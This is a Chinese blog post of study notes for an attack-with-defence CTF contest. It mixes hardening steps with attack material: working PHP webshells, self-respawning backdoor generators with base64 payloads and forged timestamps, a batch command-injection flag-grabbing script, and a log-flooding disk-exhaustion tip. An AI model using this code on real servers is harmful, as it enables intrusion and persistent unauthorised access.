Web笔记(十六)AWD Web攻防

这个系列是整理学习安全的笔记,包括Web和PWN的一些知识。本章是记录最近参加公司AWD攻防比赛所做的准备工作、比赛的策略技巧和赛后的心得体会。

Posted by K4ys0n on December 17, 2020

0x00 AWD简介

AWD(Attack with Defence),攻防对抗赛,一般是在一个C段网络下,有各自队伍维护的服务器,服务器上运行着Web站点、PWN服务或者其他服务。各队之间一边加固防御,一边攻击其他队伍,获取其他队伍的flag,并提交到flag机得分,自己的服务器被攻击拿到flag就会被扣分。

有种大混战的感觉,批量攻击也很重要。

比赛中也可能会有NPC,NPC不会修复,但是参赛队伍可以自己进行利用,对其进行修复应该也可以,根据赛制规定来就好。

比赛可能会给一定时间修复加固。

0x01 防御思路

1. 改密码

  • SSH登录密码
passwd

输入passwd之后,输入一次旧密码,然后输入两次新密码即可。

新密码最好事先商量好,并且不是弱密,可以随机生成。

  • 网站后台admin密码

直接网站后台修改管理原密码即可,但可能自己也不知道自己的网站后台密码是什么,可能需要先弱口令爆破,或者找到数据库进去查找(前提是数据库存储的不是哈希值,可能性不大),或者看网站有无提示。

  • 数据库密码

改了的话网站配置文件也需要改,一般不需要。

修改数据库密码:

首先终端输入

vim /etc/my.cnf

在这个文件中的最后一行输入:skip-grant-tables,然后保存退出,接着在终端输入

service mysqld restart

然后输入下述指令进入数据库

mysql -uroot -p

直接回车开始修改MySQL用户密码,接着输入

use mysql;
update user set password = password(“123456”)where user=’root’;

其中123456为新密码。

2. 备份

  • 网站源码备份

方法一:ftp连接下载源码

其实也是用工具,打开工具Filezilla,输入主机ip地址(要用sftp协议,即输入sftp://ip)、用户名、密码、端口,连接后直接找到网站根目录/var/www/html,右键下载即可。

方法二:工具备份

使用MobaXterm工具ssh连接,然后左侧会显示站点目录,将网站根目录右键下载即可。

方法三:压缩命令备份

压缩命令

tar -zcvf www.tar.gz /var/www/*

解压命令

tar -zxvf www.tar.gz
  • 数据库备份

数据库备份(输入下面命令后需要再输入数据库密码)

mysqldump -u root -p [数据库名]>[备份文件名].sql
mysqldump -u root -p blog > blog.sql

恢复

mysql -u root -p blog < blog.sql

或者进入mysql后输入以下命令

source blog.sql;

3. D盾查杀

下载源码下来,然后用D盾(Webshellkill.exe)查杀后门文件。

如果查到的话,需要上服务器删除或者加固,限制输入等。

如果查到的话也要及时跟进攻的队友沟通,拼手速利用起来刷一波分。

4. 加waf、文件监控、流量监控

进行下述操作后都应该习惯性不断地去看服务有没有挂,网站是否正常显示,是否check down。

  • 通用waf

上个通用waf和批量刷通防的脚本两个文件。

批量通防一般准备两个版本,一个python,一个php版,服务器支持python就直接python生成,如果不行就用php版,需要访问激活。

通防需要控制好级别,对于什么样的流量需要作出什么反应,是die掉,还是只做记录,还是做重定向等,要根据check机制做相应处理。

  • 文件监控

文件监控脚本需要在脚本部署好之后再开启,指定好目录,如果某个文件被修改就将其删除,保险起见最好先设置为记录或者恢复,而不是删除。

功能:备份运行文件监控脚本前所有文件,删除新增非自用文件,记录新增文件,知晓文件变动历史

  • 流量监控

上流量监控脚本,一般通防都已经包含了流量监控记录了,但需要做好取舍,因为如果所有流量所有信息都记录可能会被DDoS攻击,导致内存超限而宕机。

功能:获得他人的攻击流量,木马密码等。

5. 防不死马

不死马就是不管怎么删除都会出现的后门,其背后一定有一个进程在不断生成它。

防不死马就几种方法。

  • 生成一个和不死马同名的文件
rm .index.php;mkdir .index.php

直接终端输入一行命令进去,不要分两步,因为可能不死马生成速度很快,等手动输入第二句命令可能就同名冲突了。

  • 执行另一段程序竞争写入无效内容到不死马文件中
<?php
	ignore_user_abort(true);
 	set_time_limit(0);
 	unlink(__FILE__); 
 	$file = '.index.php';
 	$code = 'Hello, world!'
 	while(true) {
		file_put_contents($file, $code);
		usleep(500);
	}
?>

注意usleep()的时间必须比不死马生成的时间小,可以大概估摸一下,注意浏览器访问该文件进行激活。

  • 杀进程

找到生成不死马的进程

ps -aux | grep shell.php
或者
ps auxww | grep shell.php

不一定是grep shell.php,个人一般直接grep www,然后看下有没有可疑的进程,但是一般很难看出,除非是用shell脚本开启的生成不死马进程,否则用这种访问php文件激活生成不死马程序的方式是很难发现的,因为显示的描述都是www-data用户开启的apache服务。

如果找到了进程,则将其进程id放在下面命令去执行。

kill -9 [pid]
例如:
kill -9 25536

也可以用php文件来杀进程,如下代码

<?php
    while(1){
        $pid=1111;
        @unlink('.index.php');
        exec('kill -9 $pid');
    }
?>

注意修改pid,以及unlink()的是不死马文件名。

  • 重启php服务

6. 代码审计

防御工作后面大部分时间就是代码审计了,代码审计很重要,有时还能转守为攻。

seay代码审计工具审计网站代码,查找一些如SQL注入、命令执行、文件包含、文件上传等类型的漏洞,跟踪敏感函数等。后面展开细讲一下。

发现漏洞点要及时修补,最直接的方法加一些过滤限制,如过滤掉flag、敏感函数名等,还可以做一些强制类型转换,如:强制转换为int型,在转回str型。

一些php弱类型需要作调整,如:“==”号转为“===”。

暂时想到这些,以后有想到再单独记录。。。

0x02 攻击思路

扫完IP和服务,赶紧看看队友D盾扫描有没有发现什么网站后门,有的话赶紧利用起来,刷一波分。然后直接蚁剑、菜刀连接,进服务器种个不死马,然后再做其他代码审计挖洞等等。

1. 主机发现和端口扫描

  • Nmap扫描

执行下面命令之前先在当前目录下生成ip.txt文件,文件写入待扫描的ip,如:192.168.43.1-255

nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -oG result.txt -iL ip.txt

执行完将结果保存在result.txt中。

2. 站点目录扫描

  • 御剑
  • dirsearch(Linux工具)
./dirsearch.py -u 192.168.43.111 -e php

指定站点类型为php。

  • 其他爆目录的工具……

3. 后台弱口令

Burpsuite+Firefox+FoxyPorxy(其他代理插件也可以),拦截抓包弱口令爆破。

一般后台账户都是admin。

也可以在网站发现是否有提示,如提供爆破密码等。

4. 命令执行

看看有无命令执行点,直接cat /flag

5. 文件包含、目录穿透

文件包含最明显的特征是url中包含类似php?file=xxxx,那就可能存在文件包含。

目录穿透是可以直接php?file=../../../../../../../../../../../flag读取到flag文件内容。

当然还有很多种情况,现在经验不多,见到或想到再继续积攒。

6. 文件上传

找到文件上传的地方很关键,因为上传的文件所在的目录有写权限。

当然上传可能会有很多限制,最不济上传一个jpg图片马,然后想办法改成php或者文件包含当做php执行。

7. sql注入

打的比赛还没有发现sql注入漏洞的,但如果可以注入的话除了脱库,还可以尝试sql写一句话webshell,可以利用sqlmap写。

8. 框架漏洞

最常见的如

  • 博客网站plugins、theme文件包含一句话,通过修改文件,加入一句话即可连接。
  • bluecms v1.6

ad_js.php sql注入;

http头注入;

编辑文件时文件包含;

宽字节注入。

  • tomcat

8009端口ajp漏洞;

manage.html文件包含漏洞。

  • jboss 命令执行RCE
  • wordpress 外观(主题)编辑getshell
  • redis 4.x/5.x RCE远程命令执行

exp:https://github.com/Ridter/redis-rce

需要python3.6版本以上,将input改为raw_input可以用python2.7运行。

  • 魅力CMS

后台模板设置管理公司名称注入

%><%eval request(cmd)

保存后可以访问http://xxx.com/inc/config.asp处可以getshell。

9. 种不死马

拿到webshell之后,进入服务器要种不死马,我了解的有两种方式:

  • shell脚本

在有写权限的目录下新建一个usr_bin_apache.sh(名字仅为了迷惑,自取),写入如下内容:

while true;
do echo '<?php if(md5($_POST[pass])=="8439ab786d9712478e98c6afe8d62c98"){@eval($_POST[a]);} ?>' >.index.php;
touch -m -d "2020-12-17 09:30:01" .index.php;
chmod +x .index.php;
sleep 5;
done;

时间自己改就行,目的是防止对方根据文件生成时间进行查杀。

不死马名称为.index.php。

连接方式为:http://xxx/xx.php,然后post参数pass=YXR0YWNr&a=system(ls);,改参数a的值来执行系统命令。

  • php文件激活

创建一个文件shell.php写入下面内容或者直接上传,注意要在有写权限的目录下激活,否则生成不了不死马。

<?php
 ignore_user_abort(true);
 set_time_limit(0);
 unlink(__FILE__); 
 $file = '.index.php';
 $code = base64_decode('PD9waHAgaWYobWQ1KCRfUE9TVFtwYXNzXSk9PSI4NDM5YWI3ODZkOTcxMjQ3OGU5OGM2YWZlOGQ2MmM5OCIpe0BldmFsKCRfUE9TVFthXSk7fSA/Pg==');
 while(true) {
     if(md5(file_get_contents($file))!=md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(500);
 }
?>

写完需要浏览器访问该shell.php文件进行激活,激活后会进入进程,然后把自动把shell.php文件删除。

不死马名称为.index.php。

连接方式为:http://xxx/xx.php,然后post参数pass=YXR0YWNr&a=system(ls);,改参数a的值来执行系统命令。

0x03 代码审计

1. 代码审计的基本流程

  • 体会网站整体结构

  • 目录结构如何:后台目录、上传目录、功能函数目录、配置信息目录
  • 入口文件
  • 配置文件
  • 功能模块
  • 数据库结构
  • 通过功能有指向性地分析
    • 登录注册模块
    • 文件上传模块
    • 请求资源模块
    • 信息反馈模块
    • 输入过滤模块
  • 抓住敏感函数进行回溯
    • 代码执行
    • 文件包含
    • 系统命令执行
    • 文件操作
  • 魔法函数(反序列化等)

2. 代码审计的基本方法

  • 通读源码审计法

通读源码,理解透彻整个业务逻辑,通过入口文件模块进行分析,把握网站整体结构

缺点是:对大程序的分析不友好

  • 功能定向审计法

通过入口文件模块进行分析,浏览器访问应用功能,浏览器黑盒测试,白盒审计挖掘对应漏洞

  • 敏感函数回溯审计法

发现敏感函数,追溯函数输入参数,尝试控制参数

审计工具:seay审计工具

3. php的配置文件

  • php.ini 默认的配置文件,全局的配置文件
  • .user.ini 用户级的配置文件,放在对应的目录下覆盖默认的配置
  • .htaccess apache特有,同.user.ini
  • http.conf apache特有,全局配置

4. 常见的重要配置

  • short_open_tag = On 短标签 <?eval($_POST[1])?>
  • disabled_function = 禁用函数 上传webshell后绕过,蚁剑插件

  • 文件上传相关配置
file_uploads = On
upload_max_filesize = 16M
upload_tmp_dir = /tmp
open_basedir = .:/tmp/    允许访问的目录
  • 调试信息配置
display_error = On    调试信息显示
error_reporting = E_ALL
  • 文件包含配置
allow_url_fopen = On            文件打开/包含,默认允许打开远程文件,但是不允许包含
allow_url_include = On

5. 敏感函数

  • 代码执行函数
  • eval、assert 字符串作为php代码执行 assert($_GET[2];)
  • preg_replace(pattern,string) /e修饰时,会将第二个参数作为php代码执行
  • create_function() 匿名函数,代码注入
  • call_user_func、call_user_func_array
  • 文件包含函数
  • require
  • require_once
  • include
  • include_once
include $file     伪协议过滤器
include($_GET['file'])
  • 命令执行
  • exec
  • passthru
  • proc_open
  • shell_exec
  • system
  • popen

  • 文件操作
  • copy 写shell可能用上
  • file_get/put_contents
  • file
  • fopen
  • move_file
  • uploaded_file
  • readfile
  • rename
  • rmdir
  • unlink&delete 不死马

6. 最主要的几点

  • 审计反序列化时,直接__destruct全局搜索,而后往下推进,查看是否存在可利用的参数与可利用的方法。
  • 审计SQL注入时,一定要摒弃所有封装的外层直接查看最底层的SQL语句实现。
  • 代码审计找的其实就是用户可控的参数与可控的函数。

0x04 小技巧

1. 如何完全获得www目录(即自己通过ssh连上靶机的用户)权限

一般来说,www目录下的权限为www-data用户的,这也是apache的权限,而我们则是一个新用户,比方说ubuntu,我们同这个www-data同处一个用户组,远程RCE写入的webshell可能无法被删除(ubuntu没法操作www-data的文件)所以获得自己对www目录的权限很重要。

加固阶段先备份www目录,然后rm -rf www(此时权限744)再重新上传自己的www,从而获得自己权限的www。

2. Apache错误日志写满硬盘使他人服务被down从而自己得分

Apache的权限叫普通用户较高,所以写入的文件无法被删除。

直接ddos访问错误路径写入log导致其他选手服务无法正常服务。

框架一般有日志,访问一个错误路径即可。

3. 给自己种不死马

apache的权限比普遍用户的权限较高,所以如果给自己种一个加密的不死马,在服务器被其他人提权后,还能拥有一定权限(www-data)可以在发生如上情况是及时止损。

0x05 工具

  • Burpsuite 抓包改包工具
  • FoxyProxy/SwitchyOmega 火狐浏览器代理设置工具
  • dirsearch/御剑 目录爆破工具
  • D盾(Webshellkill.exe) 查杀后门
  • Seay代码审计工具
  • 菜刀/蚁剑 后门连接工具
  • phpstudy_pro windows本地php环境
  • MobaXterm/SecureCRT/Putty SSH连接服务器后台,MobaXterm还有很多其他功能
  • MobaXterm/Filezilla FTP连接工具
  • Pycharm/VScode python调试工具
  • Sublime Text 配置好python、php插件可以当做调试工具用,也可以当文本编辑器用,功能很强大

还有很多其他工具没有一一列举,以后遇到还有其他常用的再补充。

0x06 常见脚本

1. 一句话

<?php @eval($_POST[x]);?>

2. 生成不死马

php版生成不死马(记得浏览器访问该文件激活)

<?php
 ignore_user_abort(true);
 set_time_limit(0);
 unlink(__FILE__); 
 $file = '.index.php';
 $code = base64_decode('PD9waHAgaWYobWQ1KCRfR0VUW3hdKT09PSc4NDM5YWI3ODZkOTcxMjQ3OGU5OGM2YWZlOGQ2MmM5OCcpe2V2YWwoJF9QT1NUW2FdKTt9Pz4=');
 while(true) {
     if(md5(file_get_contents($file))!=md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(5000);
 }
?>

shell版生成不死马

while true;
do echo '<?php if(md5($_POST[pass])=="8439ab786d9712478e98c6afe8d62c98"){@eval($_POST[a]);} ?>' >.index.php;
touch -m -d "2020-12-17 09:30:01" .index.php;
chmod +x .index.php;
sleep 5;
done;

需要执行命令sh test.sh来激活。

3. 批量getflag

#!/usr/bin/env python

from __future__ import print_function
import sys
import json
import time
import requests
import re
import urllib3
try:
    from urllib.parse import urlencode
except ImportError:
    from urllib import urlencode
try:
    import httplib
except ImportError:
    import http.client as httplib

server_host = '192.168.1.2'   # 改成flag提交机的IP
server_port = 80            # 改成flag提交机的端口
team08_token = 'abcdefghijklmnopqrstuvwxyz123456'           # 队伍token写在这里

if __name__ == '__main__':    
    #### 构造拿flag的url #######(当时比赛队伍的ip是192.168.201-212)
    url_list = ['http://192.168.1.2%02d/manager?command=cat${IFS}/fla?' % i for i in range(1, 13)]
    print(url_list)
    # 这一块区域是构造url列表
    
    #######################################
    
    while True:
        ###### 这里写getflag代码 ######
        flag_list = []
        for url in url_list:
            try:
                # 这里写拿flag代码
                rev = requests.get(url)
                t = re.findall('(.*)', rev.text, re.S)	# 注意修改正则匹配规则,这里当时是直接返回flag内容,只需要去掉最后的换行符即可
                if t:
                    print('[+] ' + url + '的flag是' + t[0])
                    flag_list.append(t[0].strip())
                
            except Exception as  e:
                print(url)
                print(e)
        ###############################
        
        # 提交flag,模拟curl -d "flag=xxx&token=xxx" 192.168.1.2/api/flag/submit
        for flag in flag_list:
            http = urllib3.PoolManager()
            for flag in flag_list:
                headers = {
                    "Content-type": "application/x-www-form-urlencoded"
                }
                rev = http.request('POST', 'http://192.168.1.2/api/flag/submit',
                                   fields={'flag': flag, 'token': '55dM4d397p'}, headers=headers)
                print(rev)
        time.sleep(180)     # 延时3分钟,可以设置跟flag刷新时间一致

4. 批量文件上传

关键代码

file = {
    'pic': ('2.php': open('a.php', 'rb')),
    'Content-Disposition': 'form-data',
    'Content-Type': 'image/jpeg',
}

可参考:https://github.com/admintony/Prepare-for-AWD

5. 批量getshell

参考:https://github.com/admintony/Prepare-for-AWD

6. 通用waf

参考:https://github.com/admintony/Prepare-for-AWD

Watchbird

7. 批量上waf

php版install-waf.php

<?php
/**
* find the php file
* write the "include('waf.php')" in php file
*/


$_DEFAULT_PATH = '/var/www/html';

function find_php_file($web_root_path){
	$cmd = 'find '.$web_root_path .' -name \'*.php\' > file';
	system($cmd);
}


function install_waf($add_string){
	$failed_list = array();
	$file_string = file_get_contents('file');
	$file_array = explode("\n", $file_string);
	foreach ($file_array as $key => $value) {
		if(strpos($value,'conf')){	// 匹配到文件名带有conf
			$content = file_get_contents($value);
			$content = str_replace("\r\n", "\n", $content);
			$content = str_replace("\r", "\n", $content);
			$new_content = $add_string.$content;
			if(strlen($new_content) === file_put_contents($value, $new_content)){
				echo '[+] add waf completed: '.$value."\n";
			}else{
				echo '[-] add waf failed: '.$value."\n";
				array_push($failed_list, $value);
			}
			
		}

	}
	if(count($failed_list) === 0){
		echo '[+] all choice file add waf successfully'."\n";
	}else{
		echo '[-] failed file:'."\n";
		$res = implode("\n", $failed_list);
		echo $res;
	}

}

if(count($argv) > 1){
	$web_root_path = $argv[1];
}
else{
	$web_root_path = $_DEFAULT_PATH;
}
$add_strings = "<?php require_once('$web_root_path/waf.php'); ?>\n";

find_php_file($web_root_path);

install_waf($add_strings);

python版install-waf.py

# -*- conding:utf-8 -*-
#! /usr/bin/python
# find the php file
# write the "include('waf.php')" in php file

import os
import sys

DEFAULT_PATH = '/var/www/html/'

def find_php_file(web_root_path):
    cmd = 'find {0} -name \'*.php\' > file'.format(web_root_path)
    os.system(cmd)


def install_waf(add_strings,level='conf'):
    fail_list = []
    with open('file') as f:
        s = f.read()
    tmp_list = s.split('\n')
    file_list = [i for i in tmp_list if len(i)>0]
    
    for file in file_list:
        if level == 'conf':
            if level not in file:
                continue
        if 'waf.php' in file:
            continue    
        try:
            fr = open(file)
            contents = fr.read()
            fr.close()
            new_contents = add_strings + contents
            new_contents = new_contents.replace('\r\n','\n').replace('\r','\n')
            fw = open(file,'wb')
            fw.write(new_contents)
            fw.close()
            print('[+] add waf completed: ' + file)
        except Exception,e:
            print('[-] add waf failed: ' + file)
            fail_list.append(file)
            print e

    if len(fail_list) == 0:
        print('[+] all choice file add waf successfully')
    else:
        print('[-] failed file:')
        print("\n".join(fail_list))


if __name__ == '__main__':
    try:
        web_root_path = sys.argv[1]
    except:
        web_root_path = DEFAULT_PATH

    if os.path.isdir(web_root_path):
        pass
    else:
        print(web_root_path,'is not exist!!!')
        exit()
    try:
        print('choice: [1] all php file, [2] just config file')
        level = raw_input('input the level num (default:all php file): ')
        if int(level) == 1:
            level = 'all'
        else:
            level = 'conf'
    except:
        level = 'conf'
        

    add_strings = '<?php require_once(\'{0}waf.php\'); ?>\n'.format(web_root_path)

    find_php_file(web_root_path)

    install_waf(add_strings,level)

0x07 心得体会

手速很重要!!!发现漏洞之后就要一边拼手速把其他队伍的站点也秒了,一边要做好自己的防御,一边要赶紧写脚本或者改脚本进行批量利用。在最近的比赛中这方面吃了大亏,没有别人手快,亏了一轮分。

发现被攻击的时候,首先要冷静,检查waf是否上了,有没有防住;分析流量,看访问的是哪个文件;代码审计,仔细检查找到漏洞点,进行防御。

个人在比赛的时候有两个靶机,看大佬们先攻击到哪一台靶机,紧跟他们的步伐去重点分析。

赛后感觉流量分析太重要了,要是能早点上waf记录大佬们的攻击记录,光是重放就能瓜分好多分了。